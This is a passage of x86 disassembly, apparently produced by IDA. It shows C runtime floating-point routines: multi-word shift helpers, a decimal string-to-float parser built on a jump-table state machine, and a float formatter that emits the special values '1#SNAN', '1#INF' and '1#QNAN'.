		mov	edx, edi
		mov	[eax+4], esi
		shr	edx, 1Fh
		shl	ecx, 1
		or	ecx, edx
		pop	edi
		mov	[eax+8], ecx
		pop	esi
		retn
sub_425380	endp


; =============== S U B	R O U T	I N E =======================================



sub_4253AE	proc near		; CODE XREF: sub_425973+1C8p
					; sub_425DEE+17Dp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		push	edi
		mov	edx, [eax+8]
		mov	ecx, [eax+4]
		mov	esi, edx
		mov	edi, ecx
		shl	esi, 1Fh
		shr	ecx, 1
		or	ecx, esi
		mov	[eax+4], ecx
		mov	ecx, [eax]
		shl	edi, 1Fh
		shr	ecx, 1
		shr	edx, 1
		or	ecx, edi
		pop	edi
		mov	[eax+8], edx
		mov	[eax], ecx
		pop	esi
		retn
sub_4253AE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4253DB	proc near		; CODE XREF: sub_4254A2+3CAp

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		mov	eax, [ebp+arg_4]
		push	ebx
		mov	ebx, [ebp+arg_8]
		xor	edx, edx
		cmp	eax, edx
		push	esi
		mov	[ebp+var_4], 404Eh
		mov	[ebx], edx
		mov	[ebx+4], edx
		mov	[ebx+8], edx
		jbe	short loc_42544F
		push	edi
		mov	[ebp+arg_8], eax


loc_425402:				; CODE XREF: sub_4253DB+6Fj
		mov	esi, ebx
		lea	edi, [ebp+var_10]
		movsd
		movsd
		push	ebx
		movsd
		call	sub_425380
		push	ebx
		call	sub_425380
		lea	eax, [ebp+var_10]
		push	eax
		push	ebx
		call	sub_425322
		push	ebx
		call	sub_425380
		mov	eax, [ebp+arg_0]
		and	[ebp+var_C], 0
		and	[ebp+var_8], 0
		movsx	eax, byte ptr [eax]
		mov	[ebp+var_10], eax
		lea	eax, [ebp+var_10]
		push	eax
		push	ebx
		call	sub_425322
		add	esp, 1Ch
		inc	[ebp+arg_0]
		dec	[ebp+arg_8]
		jnz	short loc_425402
		xor	edx, edx
		pop	edi


loc_42544F:				; CODE XREF: sub_4253DB+21j
					; sub_4253DB+9Fj
		cmp	[ebx+8], edx
		jnz	short loc_42547C
		mov	ecx, [ebx+4]
		mov	eax, ecx
		shr	eax, 10h
		mov	[ebx+8], eax
		mov	eax, [ebx]
		mov	esi, eax
		shr	esi, 10h
		shl	ecx, 10h
		or	esi, ecx
		shl	eax, 10h
		add	[ebp+var_4], 0FFF0h
		mov	[ebx+4], esi
		mov	[ebx], eax
		jmp	short loc_42544F
; ---------------------------------------------------------------------------


loc_42547C:				; CODE XREF: sub_4253DB+77j
		mov	esi, 8000h


loc_425481:				; CODE XREF: sub_4253DB+B9j
		test	[ebx+8], esi
		jnz	short loc_425496
		push	ebx
		call	sub_425380
		add	[ebp+var_4], 0FFFFh
		pop	ecx
		jmp	short loc_425481
; ---------------------------------------------------------------------------


loc_425496:				; CODE XREF: sub_4253DB+A9j
		mov	ax, word ptr [ebp+var_4]
		pop	esi
		mov	[ebx+0Ah], ax
		pop	ebx
		leave
		retn
sub_4253DB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4254A2	proc near		; CODE XREF: sub_424D28+17p
					; sub_424D55+17p

var_5C		= byte ptr -5Ch
var_45		= byte ptr -45h
var_40		= dword	ptr -40h
var_3A		= dword	ptr -3Ah
var_36		= dword	ptr -36h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		sub	esp, 5Ch
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_8]
		lea	eax, [ebp+var_5C]
		push	1
		mov	[ebp+var_C], eax
		xor	eax, eax
		pop	edx
		mov	[ebp+var_28], eax
		mov	[ebp+var_18], edx
		mov	[ebp+var_4], eax
		mov	[ebp+var_10], eax
		mov	[ebp+var_24], eax
		mov	[ebp+var_20], eax
		mov	[ebp+var_2C], eax
		mov	[ebp+var_30], eax
		mov	[ebp+var_1C], eax
		mov	[ebp+var_8], eax
		mov	[ebp+var_14], eax
		mov	[ebp+arg_8], edi


loc_4254DD:				; CODE XREF: sub_4254A2+52j
		mov	cl, [edi]
		cmp	cl, 20h
		jz	short loc_4254F3
		cmp	cl, 9
		jz	short loc_4254F3
		cmp	cl, 0Ah
		jz	short loc_4254F3
		cmp	cl, 0Dh
		jnz	short loc_4254F6


loc_4254F3:				; CODE XREF: sub_4254A2+40j
					; sub_4254A2+45j ...
		inc	edi
		jmp	short loc_4254DD
; ---------------------------------------------------------------------------


loc_4254F6:				; CODE XREF: sub_4254A2+4Fj
		push	4
		pop	esi


loc_4254F9:				; CODE XREF: sub_4254A2+AEj
					; sub_4254A2+B7j ...
		mov	bl, [edi]
		inc	edi
		cmp	eax, 0Bh	; switch 12 cases
		ja	loc_42577C	; default
					; jumptable 00425505 case 10
		jmp	off_425943[eax*4] ; switch jump


loc_42550C:				; DATA XREF: ___:off_425943o
		cmp	bl, 31h		; jumptable 00425505 case 0
		jl	short loc_42551D
		cmp	bl, 39h
		jg	short loc_42551D


loc_425516:				; CODE XREF: sub_4254A2+C4j
					; sub_4254A2+118j
		push	3
		jmp	loc_42573A
; ---------------------------------------------------------------------------


loc_42551D:				; CODE XREF: sub_4254A2+6Dj
					; sub_4254A2+72j
		cmp	bl, byte_43D088
		jnz	short loc_42552C


loc_425525:				; CODE XREF: sub_4254A2+124j
		push	5
		jmp	loc_425772
; ---------------------------------------------------------------------------


loc_42552C:				; CODE XREF: sub_4254A2+81j
		movsx	eax, bl
		sub	eax, 2Bh
		jz	short loc_425552
		dec	eax
		dec	eax
		jz	short loc_425546
		sub	eax, 3
		jnz	loc_425815
		jmp	loc_4255D5
; ---------------------------------------------------------------------------


loc_425546:				; CODE XREF: sub_4254A2+94j
		push	2
		mov	[ebp+var_28], 8000h
		pop	eax
		jmp	short loc_4254F9
; ---------------------------------------------------------------------------


loc_425552:				; CODE XREF: sub_4254A2+90j
		and	[ebp+var_28], 0
		push	2
		pop	eax
		jmp	short loc_4254F9
; ---------------------------------------------------------------------------


loc_42555B:				; CODE XREF: sub_4254A2+63j
					; DATA XREF: ___:off_425943o
		cmp	bl, 31h		; jumptable 00425505 case 1
		mov	[ebp+var_10], edx
		jl	short loc_425568
		cmp	bl, 39h
		jle	short loc_425516


loc_425568:				; CODE XREF: sub_4254A2+BFj
		cmp	bl, byte_43D088
		jz	loc_425630
		cmp	bl, 2Bh
		jz	short loc_4255AA
		cmp	bl, 2Dh
		jz	short loc_4255AA
		cmp	bl, 30h
		jz	short loc_4255D5


loc_425583:				; CODE XREF: sub_4254A2+207j
		cmp	bl, 43h
		jle	loc_425815
		cmp	bl, 45h
		jle	short loc_4255A3
		cmp	bl, 63h
		jle	loc_425815
		cmp	bl, 65h
		jg	loc_425815


loc_4255A3:				; CODE XREF: sub_4254A2+EDj
		push	6
		jmp	loc_425772
; ---------------------------------------------------------------------------


loc_4255AA:				; CODE XREF: sub_4254A2+D5j
					; sub_4254A2+DAj ...
		dec	edi
		push	0Bh
		jmp	loc_425772
; ---------------------------------------------------------------------------


loc_4255B2:				; CODE XREF: sub_4254A2+63j
					; DATA XREF: ___:off_425943o
		cmp	bl, 31h		; jumptable 00425505 case 2
		jl	short loc_4255C0
		cmp	bl, 39h
		jle	loc_425516


loc_4255C0:				; CODE XREF: sub_4254A2+113j
		cmp	bl, byte_43D088
		jz	loc_425525
		cmp	bl, 30h
		jnz	loc_42578A


loc_4255D5:				; CODE XREF: sub_4254A2+9Fj
					; sub_4254A2+DFj
		mov	eax, edx
		jmp	loc_4254F9
; ---------------------------------------------------------------------------


loc_4255DC:				; CODE XREF: sub_4254A2+63j
					; DATA XREF: ___:off_425943o
		mov	[ebp+var_10], edx ; jumptable 00425505 case 3


loc_4255DF:				; CODE XREF: sub_4254A2+184j
		cmp	dword_43D084, edx
		jle	short loc_4255F8
		movzx	eax, bl
		push	esi
		push	eax
		call	sub_41FDB5
		pop	ecx
		pop	ecx
		push	1
		pop	edx
		jmp	short loc_425606
; ---------------------------------------------------------------------------


loc_4255F8:				; CODE XREF: sub_4254A2+143j
		mov	ecx, off_43CE78
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, esi


loc_425606:				; CODE XREF: sub_4254A2+154j
		test	eax, eax
		jz	short loc_425628
		cmp	[ebp+var_4], 19h
		jnb	short loc_425620
		mov	eax, [ebp+var_C]
		inc	[ebp+var_4]
		sub	bl, 30h
		inc	[ebp+var_C]
		mov	[eax], bl
		jmp	short loc_425623
; ---------------------------------------------------------------------------


loc_425620:				; CODE XREF: sub_4254A2+16Cj
		inc	[ebp+var_8]


loc_425623:				; CODE XREF: sub_4254A2+17Cj
		mov	bl, [edi]
		inc	edi
		jmp	short loc_4255DF
; ---------------------------------------------------------------------------


loc_425628:				; CODE XREF: sub_4254A2+166j
		cmp	bl, byte_43D088
		jnz	short loc_425697


loc_425630:				; CODE XREF: sub_4254A2+CCj
		mov	eax, esi
		jmp	loc_4254F9
; ---------------------------------------------------------------------------


loc_425637:				; CODE XREF: sub_4254A2+63j
					; DATA XREF: ___:off_425943o
		cmp	[ebp+var_4], 0	; jumptable 00425505 case 4
		mov	[ebp+var_10], edx
		mov	[ebp+var_24], edx
		jnz	short loc_425650


loc_425643:				; CODE XREF: sub_4254A2+1ACj
		cmp	bl, 30h
		jnz	short loc_425650
		dec	[ebp+var_8]
		mov	bl, [edi]
		inc	edi
		jmp	short loc_425643
; ---------------------------------------------------------------------------


loc_425650:				; CODE XREF: sub_4254A2+19Fj
					; sub_4254A2+1A4j ...
		cmp	dword_43D084, edx
		jle	short loc_425669
		movzx	eax, bl
		push	esi
		push	eax
		call	sub_41FDB5
		pop	ecx
		pop	ecx
		push	1
		pop	edx
		jmp	short loc_425677
; ---------------------------------------------------------------------------


loc_425669:				; CODE XREF: sub_4254A2+1B4j
		mov	ecx, off_43CE78
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, esi


loc_425677:				; CODE XREF: sub_4254A2+1C5j
		test	eax, eax
		jz	short loc_425697
		cmp	[ebp+var_4], 19h
		jnb	short loc_425692
		mov	eax, [ebp+var_C]
		inc	[ebp+var_4]
		sub	bl, 30h
		inc	[ebp+var_C]
		dec	[ebp+var_8]
		mov	[eax], bl


loc_425692:				; CODE XREF: sub_4254A2+1DDj
		mov	bl, [edi]
		inc	edi
		jmp	short loc_425650
; ---------------------------------------------------------------------------


loc_425697:				; CODE XREF: sub_4254A2+18Cj
					; sub_4254A2+1D7j
		cmp	bl, 2Bh
		jz	loc_4255AA
		cmp	bl, 2Dh
		jz	loc_4255AA
		jmp	loc_425583
; ---------------------------------------------------------------------------


loc_4256AE:				; CODE XREF: sub_4254A2+63j
					; DATA XREF: ___:off_425943o
		cmp	dword_43D084, edx ; jumptable 00425505 case 5
		mov	[ebp+var_24], edx
		jle	short loc_4256CA
		movzx	eax, bl
		push	esi
		push	eax
		call	sub_41FDB5
		pop	ecx
		pop	ecx
		push	1
		pop	edx
		jmp	short loc_4256D8
; ---------------------------------------------------------------------------


loc_4256CA:				; CODE XREF: sub_4254A2+215j
		mov	ecx, off_43CE78
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, esi


loc_4256D8:				; CODE XREF: sub_4254A2+226j
		test	eax, eax
		jz	loc_42578A
		mov	eax, esi
		jmp	short loc_42573B
; ---------------------------------------------------------------------------


loc_4256E4:				; CODE XREF: sub_4254A2+63j
					; DATA XREF: ___:off_425943o
		lea	ecx, [edi-2]	; jumptable 00425505 case 6
		cmp	bl, 31h
		mov	[ebp+arg_8], ecx
		jl	short loc_4256F4
		cmp	bl, 39h
		jle	short loc_425738


loc_4256F4:				; CODE XREF: sub_4254A2+24Bj
		movsx	eax, bl
		sub	eax, 2Bh
		jz	short loc_425770
		dec	eax
		dec	eax
		jz	short loc_425764
		sub	eax, 3
		jnz	loc_425818


loc_425709:				; CODE XREF: sub_4254A2+2A4j
		push	8
		jmp	short loc_425772
; ---------------------------------------------------------------------------


loc_42570D:				; CODE XREF: sub_4254A2+63j
					; DATA XREF: ___:off_425943o
		mov	[ebp+var_20], edx ; jumptable 00425505 case 8


loc_425710:				; CODE XREF: sub_4254A2+276j
		cmp	bl, 30h
		jnz	short loc_42571A
		mov	bl, [edi]
		inc	edi
		jmp	short loc_425710
; ---------------------------------------------------------------------------


loc_42571A:				; CODE XREF: sub_4254A2+271j
		cmp	bl, 31h
		jl	loc_425815
		cmp	bl, 39h
		jg	loc_425815
		jmp	short loc_425738
; ---------------------------------------------------------------------------


loc_42572E:				; CODE XREF: sub_4254A2+63j
					; DATA XREF: ___:off_425943o
		cmp	bl, 31h		; jumptable 00425505 case 7
		jl	short loc_425741
		cmp	bl, 39h
		jg	short loc_425741


loc_425738:				; CODE XREF: sub_4254A2+250j
					; sub_4254A2+28Aj
		push	9


loc_42573A:				; CODE XREF: sub_4254A2+76j
		pop	eax


loc_42573B:				; CODE XREF: sub_4254A2+240j
		dec	edi
		jmp	loc_4254F9
; ---------------------------------------------------------------------------


loc_425741:				; CODE XREF: sub_4254A2+28Fj
					; sub_4254A2+294j
		cmp	bl, 30h
		jnz	short loc_42578A
		jmp	short loc_425709
; ---------------------------------------------------------------------------


loc_425748:				; CODE XREF: sub_4254A2+63j
					; DATA XREF: ___:off_425943o
		cmp	[ebp+arg_18], 0	; jumptable 00425505 case 11
		jz	short loc_425778
		movsx	eax, bl
		lea	ecx, [edi-1]
		sub	eax, 2Bh
		mov	[ebp+arg_8], ecx
		jz	short loc_425770
		dec	eax
		dec	eax
		jnz	loc_425818


loc_425764:				; CODE XREF: sub_4254A2+25Cj
		or	[ebp+var_18], 0FFFFFFFFh
		push	7
		pop	eax
		jmp	loc_4254F9
; ---------------------------------------------------------------------------


loc_425770:				; CODE XREF: sub_4254A2+258j
					; sub_4254A2+2B8j
		push	7


loc_425772:				; CODE XREF: sub_4254A2+85j
					; sub_4254A2+103j ...
		pop	eax
		jmp	loc_4254F9
; ---------------------------------------------------------------------------


loc_425778:				; CODE XREF: sub_4254A2+2AAj
		push	0Ah
		dec	edi
		pop	eax


loc_42577C:				; CODE XREF: sub_4254A2+5Dj
					; sub_4254A2+63j
					; DATA XREF: ...
		cmp	eax, 0Ah	; default
					; jumptable 00425505 case 10
		jz	loc_42581A
		jmp	loc_4254F9
; ---------------------------------------------------------------------------


loc_42578A:				; CODE XREF: sub_4254A2+12Dj
					; sub_4254A2+238j ...
		mov	edi, [ebp+arg_8]
		jmp	loc_42581A
; ---------------------------------------------------------------------------


loc_425792:				; CODE XREF: sub_4254A2+63j
					; DATA XREF: ___:off_425943o
		mov	[ebp+var_20], 1	; jumptable 00425505 case 9
		xor	esi, esi


loc_42579B:				; CODE XREF: sub_4254A2+339j
		cmp	dword_43D084, 1
		jle	short loc_4257B3
		movzx	eax, bl
		push	4
		push	eax
		call	sub_41FDB5
		pop	ecx
		pop	ecx
		jmp	short loc_4257C2
; ---------------------------------------------------------------------------


loc_4257B3:				; CODE XREF: sub_4254A2+300j
		mov	ecx, off_43CE78
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, 4


loc_4257C2:				; CODE XREF: sub_4254A2+30Fj
		test	eax, eax
		jz	short loc_4257E2
		movsx	ecx, bl
		lea	eax, [esi+esi*4]
		lea	esi, [ecx+eax*2-30h]
		cmp	esi, 1450h
		jg	short loc_4257DD
		mov	bl, [edi]
		inc	edi
		jmp	short loc_42579B
; ---------------------------------------------------------------------------


loc_4257DD:				; CODE XREF: sub_4254A2+334j
		mov	esi, 1451h


loc_4257E2:				; CODE XREF: sub_4254A2+322j
		mov	[ebp+var_1C], esi


loc_4257E5:				; CODE XREF: sub_4254A2+371j
		cmp	dword_43D084, 1
		jle	short loc_4257FD
		movzx	eax, bl
		push	4
		push	eax
		call	sub_41FDB5
		pop	ecx
		pop	ecx
		jmp	short loc_42580C
; ---------------------------------------------------------------------------


loc_4257FD:				; CODE XREF: sub_4254A2+34Aj
		mov	ecx, off_43CE78
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, 4


loc_42580C:				; CODE XREF: sub_4254A2+359j
		test	eax, eax
		jz	short loc_425815
		mov	bl, [edi]
		inc	edi
		jmp	short loc_4257E5
; ---------------------------------------------------------------------------


loc_425815:				; CODE XREF: sub_4254A2+99j
					; sub_4254A2+E4j ...
		dec	edi
		jmp	short loc_42581A
; ---------------------------------------------------------------------------


loc_425818:				; CODE XREF: sub_4254A2+261j
					; sub_4254A2+2BCj
		mov	edi, ecx


loc_42581A:				; CODE XREF: sub_4254A2+2DDj
					; sub_4254A2+2EBj ...
		mov	eax, [ebp+arg_4]
		cmp	[ebp+var_10], 0
		mov	[eax], edi
		jz	loc_425902
		push	18h
		pop	eax
		cmp	[ebp+var_4], eax
		jbe	short loc_425846
		cmp	[ebp+var_45], 5
		jl	short loc_42583A
		inc	[ebp+var_45]


loc_42583A:				; CODE XREF: sub_4254A2+393j
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_C]
		dec	eax
		inc	[ebp+var_8]
		jmp	short loc_425849
; ---------------------------------------------------------------------------


loc_425846:				; CODE XREF: sub_4254A2+38Dj
		mov	eax, [ebp+var_C]


loc_425849:				; CODE XREF: sub_4254A2+3A2j
		cmp	[ebp+var_4], 0
		jbe	loc_4258F8


loc_425853:				; CODE XREF: sub_4254A2+3BDj
		dec	eax
		cmp	byte ptr [eax],	0
		jnz	short loc_425861
		dec	[ebp+var_4]
		inc	[ebp+var_8]
		jmp	short loc_425853
; ---------------------------------------------------------------------------


loc_425861:				; CODE XREF: sub_4254A2+3B5j
		lea	eax, [ebp+var_40]
		push	eax
		lea	eax, [ebp+var_5C]
		push	[ebp+var_4]
		push	eax
		call	sub_4253DB
		mov	eax, [ebp+var_1C]
		xor	ecx, ecx
		add	esp, 0Ch
		cmp	[ebp+var_18], ecx
		jge	short loc_425880
		neg	eax


loc_425880:				; CODE XREF: sub_4254A2+3DAj
		add	eax, [ebp+var_8]
		cmp	[ebp+var_20], ecx
		jnz	short loc_42588B
		add	eax, [ebp+arg_10]


loc_42588B:				; CODE XREF: sub_4254A2+3E4j
		cmp	[ebp+var_24], ecx
		jnz	short loc_425893
		sub	eax, [ebp+arg_14]


loc_425893:				; CODE XREF: sub_4254A2+3ECj
		cmp	eax, 1450h
		jle	short loc_4258CA
		mov	[ebp+var_2C], 1


loc_4258A1:				; CODE XREF: sub_4254A2+436j
		mov	ebx, [ebp+arg_8]
		mov	esi, [ebp+arg_8]
		mov	eax, [ebp+arg_8]
		mov	edx, [ebp+arg_8]


loc_4258AD:				; CODE XREF: sub_4254A2+454j
					; sub_4254A2+45Ej
		cmp	[ebp+var_2C], 0
		jz	short loc_425913
		xor	ebx, ebx
		mov	eax, 7FFFh
		mov	esi, 80000000h
		xor	edx, edx
		mov	[ebp+var_14], 2
		jmp	short loc_425928
; ---------------------------------------------------------------------------


loc_4258CA:				; CODE XREF: sub_4254A2+3F6j
		cmp	eax, 0FFFFEBB0h
		jge	short loc_4258DA
		mov	[ebp+var_30], 1
		jmp	short loc_4258A1
; ---------------------------------------------------------------------------


loc_4258DA:				; CODE XREF: sub_4254A2+42Dj
		push	[ebp+arg_C]
		push	eax
		lea	eax, [ebp+var_40]
		push	eax
		call	sub_42600E
		mov	edx, [ebp+var_40]
		mov	ebx, [ebp+var_40+2]
		mov	esi, [ebp+var_3A]
		mov	eax, [ebp+var_36]
		add	esp, 0Ch
		jmp	short loc_4258AD
; ---------------------------------------------------------------------------


loc_4258F8:				; CODE XREF: sub_4254A2+3ABj
		xor	edx, edx
		xor	eax, eax
		xor	esi, esi
		xor	ebx, ebx
		jmp	short loc_4258AD
; ---------------------------------------------------------------------------


loc_425902:				; CODE XREF: sub_4254A2+381j
		xor	edx, edx
		xor	eax, eax
		xor	esi, esi
		xor	ebx, ebx
		mov	[ebp+var_14], 4
		jmp	short loc_425928
; ---------------------------------------------------------------------------


loc_425913:				; CODE XREF: sub_4254A2+40Fj
		cmp	[ebp+var_30], 0
		jz	short loc_425928
		xor	edx, edx
		xor	eax, eax
		xor	esi, esi
		xor	ebx, ebx
		mov	[ebp+var_14], 1


loc_425928:				; CODE XREF: sub_4254A2+426j
					; sub_4254A2+46Fj ...
		mov	ecx, [ebp+arg_0]
		or	eax, [ebp+var_28]
		pop	edi
		mov	[ecx+6], esi
		mov	[ecx+2], ebx
		mov	[ecx+0Ah], ax
		mov	eax, [ebp+var_14]
		pop	esi
		mov	[ecx], dx
		pop	ebx
		leave
		retn
sub_4254A2	endp

; ---------------------------------------------------------------------------
off_425943	dd offset loc_42550C	; DATA XREF: sub_4254A2+63r
		dd offset loc_42555B	; jump table for switch	statement
		dd offset loc_4255B2
		dd offset loc_4255DC
		dd offset loc_425637
		dd offset loc_4256AE
		dd offset loc_4256E4
		dd offset loc_42572E
		dd offset loc_42570D
		dd offset loc_425792
		dd offset loc_42577C
		dd offset loc_425748

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_425973	proc near		; CODE XREF: sub_424DF9+2Cp

var_1C		= byte ptr -1Ch
var_1B		= byte ptr -1Bh
var_1A		= byte ptr -1Ah
var_19		= byte ptr -19h
var_18		= byte ptr -18h
var_17		= byte ptr -17h
var_16		= byte ptr -16h
var_15		= byte ptr -15h
var_14		= byte ptr -14h
var_13		= byte ptr -13h
var_12		= byte ptr -12h
var_11		= byte ptr -11h
var_10		= word ptr -10h
var_E		= dword	ptr -0Eh
var_A		= dword	ptr -0Ah
var_6		= word ptr -6
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= byte ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		mov	eax, [ebp+arg_8]
		push	ebx
		mov	ebx, [ebp+arg_14]
		push	esi
		mov	ecx, eax
		mov	esi, 7FFFh
		and	ecx, 8000h
		and	eax, esi
		test	cx, cx
		push	edi
		mov	[ebp+var_1C], 0CCh
		mov	[ebp+var_1B], 0CCh
		mov	[ebp+var_1A], 0CCh
		mov	[ebp+var_19], 0CCh
		mov	[ebp+var_18], 0CCh
		mov	[ebp+var_17], 0CCh
		mov	[ebp+var_16], 0CCh
		mov	[ebp+var_15], 0CCh
		mov	[ebp+var_14], 0CCh
		mov	[ebp+var_13], 0CCh
		mov	[ebp+var_12], 0FBh
		mov	[ebp+var_11], 3Fh
		mov	[ebp+var_4], 1
		mov	edx, eax
		jz	short loc_4259D5
		mov	byte ptr [ebx+2], 2Dh
		jmp	short loc_4259D9
; ---------------------------------------------------------------------------


loc_4259D5:				; CODE XREF: sub_425973+5Aj
		mov	byte ptr [ebx+2], 20h


loc_4259D9:				; CODE XREF: sub_425973+60j
		mov	edi, [ebp+arg_4]
		test	dx, dx
		jnz	short loc_4259FF
		test	edi, edi
		jnz	short loc_4259FF
		cmp	[ebp+arg_0], edi
		jnz	short loc_4259FF


loc_4259EA:				; CODE XREF: sub_425973+181j
		and	word ptr [ebx],	0
		mov	byte ptr [ebx+2], 20h
		mov	byte ptr [ebx+3], 1
		mov	byte ptr [ebx+4], 30h
		jmp	loc_425BFD
; ---------------------------------------------------------------------------


loc_4259FF:				; CODE XREF: sub_425973+6Cj
					; sub_425973+70j ...
		cmp	dx, si
		jnz	short loc_425A7E
		mov	eax, 80000000h
		mov	word ptr [ebx],	1
		cmp	edi, eax
		jnz	short loc_425A18
		cmp	[ebp+arg_0], 0
		jz	short loc_425A27


loc_425A18:				; CODE XREF: sub_425973+9Dj
		test	edi, 40000000h
		jnz	short loc_425A27
		push	offset a1Snan	; "1#SNAN"
		jmp	short loc_425A6D
; ---------------------------------------------------------------------------


loc_425A27:				; CODE XREF: sub_425973+A3j
					; sub_425973+ABj
		test	cx, cx
		jz	short loc_425A41
		cmp	edi, 0C0000000h
		jnz	short loc_425A41
		cmp	[ebp+arg_0], 0
		jnz	short loc_425A68
		push	offset a1Ind	; "1#IND"
		jmp	short loc_425A50
; ---------------------------------------------------------------------------


loc_425A41:				; CODE XREF: sub_425973+B7j
					; sub_425973+BFj
		cmp	edi, eax
		jnz	short loc_425A68
		cmp	[ebp+arg_0], 0
		jnz	short loc_425A68
		push	offset a1Inf	; "1#INF"


loc_425A50:				; CODE XREF: sub_425973+CCj
		lea	eax, [ebx+4]
		push	eax
		call	sub_41C890
		pop	ecx
		mov	byte ptr [ebx+3], 5
		pop	ecx


loc_425A5F:				; CODE XREF: sub_425973+109j
		and	[ebp+var_4], 0
		jmp	loc_425BD6
; ---------------------------------------------------------------------------


loc_425A68:				; CODE XREF: sub_425973+C5j
					; sub_425973+D0j ...
		push	offset a1Qnan	; "1#QNAN"


loc_425A6D:				; CODE XREF: sub_425973+B2j
		lea	eax, [ebx+4]
		push	eax
		call	sub_41C890
		pop	ecx
		mov	byte ptr [ebx+3], 6
		pop	ecx
		jmp	short loc_425A5F
; ---------------------------------------------------------------------------


loc_425A7E:				; CODE XREF: sub_425973+8Fj
		movzx	eax, dx
		mov	ecx, edi
		mov	esi, eax
		shr	ecx, 18h
		imul	eax, 4D10h
		shr	esi, 8
		and	[ebp+var_10], 0
		push	1
		lea	ecx, [esi+ecx*2]
		mov	[ebp+var_6], dx
		imul	ecx, 4Dh
		mov	[ebp+var_A], edi
		lea	esi, [ecx+eax-134312F4h]
		mov	eax, [ebp+arg_0]
		sar	esi, 10h
		mov	[ebp+var_E], eax
		movsx	eax, si
		neg	eax
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_42600E
		add	esp, 0Ch
		cmp	[ebp+var_6], 3FFFh
		jb	short loc_425ADF
		lea	eax, [ebp+var_1C]
		inc	esi
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_425DEE
		pop	ecx
		pop	ecx


loc_425ADF:				; CODE XREF: sub_425973+15Aj
		test	[ebp+arg_10], 1
		mov	[ebx], si
		jz	short loc_425AF9
		mov	edi, [ebp+arg_C]
		movsx	eax, si
		add	edi, eax
		test	edi, edi
		jg	short loc_425AFC
		jmp	loc_4259EA
; ---------------------------------------------------------------------------


loc_425AF9:				; CODE XREF: sub_425973+173j
		mov	edi, [ebp+arg_C]


loc_425AFC:				; CODE XREF: sub_425973+17Fj
		cmp	edi, 15h
		jle	short loc_425B04
		push	15h
		pop	edi


loc_425B04:				; CODE XREF: sub_425973+18Cj
		movzx	esi, [ebp+var_6]
		sub	esi, 3FFEh
		and	[ebp+var_6], 0
		mov	[ebp+arg_14], 8


loc_425B1A:				; CODE XREF: sub_425973+1B4j
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_425380
		dec	[ebp+arg_14]
		pop	ecx
		jnz	short loc_425B1A
		test	esi, esi
		jge	short loc_425B44
		neg	esi
		and	esi, 0FFh
		jle	short loc_425B44


loc_425B37:				; CODE XREF: sub_425973+1CFj
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_4253AE
		dec	esi
		pop	ecx
		jnz	short loc_425B37


loc_425B44:				; CODE XREF: sub_425973+1B8j
					; sub_425973+1C2j
		lea	ecx, [edi+1]
		lea	eax, [ebx+4]
		test	ecx, ecx
		mov	[ebp+arg_14], eax
		jle	short loc_425BA1
		mov	[ebp+arg_C], ecx


loc_425B54:				; CODE XREF: sub_425973+229j
		lea	esi, [ebp+var_10]
		lea	edi, [ebp+arg_0]
		movsd
		movsd
		lea	eax, [ebp+var_10]
		push	eax
		movsd
		call	sub_425380
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_425380
		lea	eax, [ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_425322
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_425380
		mov	al, byte ptr [ebp+var_6+1]
		mov	ecx, [ebp+arg_14]
		and	byte ptr [ebp+var_6+1],	0
		add	esp, 14h
		add	al, 30h
		inc	[ebp+arg_14]
		dec	[ebp+arg_C]
		mov	[ecx], al
		jnz	short loc_425B54
		mov	eax, [ebp+arg_14]


loc_425BA1:				; CODE XREF: sub_425973+1DCj
		mov	cl, [eax-1]
		dec	eax
		dec	eax
		cmp	cl, 35h
		lea	ecx, [ebx+4]
		jl	short loc_425BDE


loc_425BAE:				; CODE XREF: sub_425973+248j
		cmp	eax, ecx
		jb	short loc_425BC1
		cmp	byte ptr [eax],	39h
		jnz	short loc_425BBD
		mov	byte ptr [eax],	30h
		dec	eax
		jmp	short loc_425BAE
; ---------------------------------------------------------------------------


loc_425BBD:				; CODE XREF: sub_425973+242j
		cmp	eax, ecx
		jnb	short loc_425BC5


loc_425BC1:				; CODE XREF: sub_425973+23Dj
		inc	eax
		inc	word ptr [ebx]


loc_425BC5:				; CODE XREF: sub_425973+24Cj
		inc	byte ptr [eax]


loc_425BC7:				; CODE XREF: sub_425973+279j
		sub	al, bl
		sub	al, 3
		mov	[ebx+3], al
		movsx	eax, al
		and	byte ptr [eax+ebx+4], 0


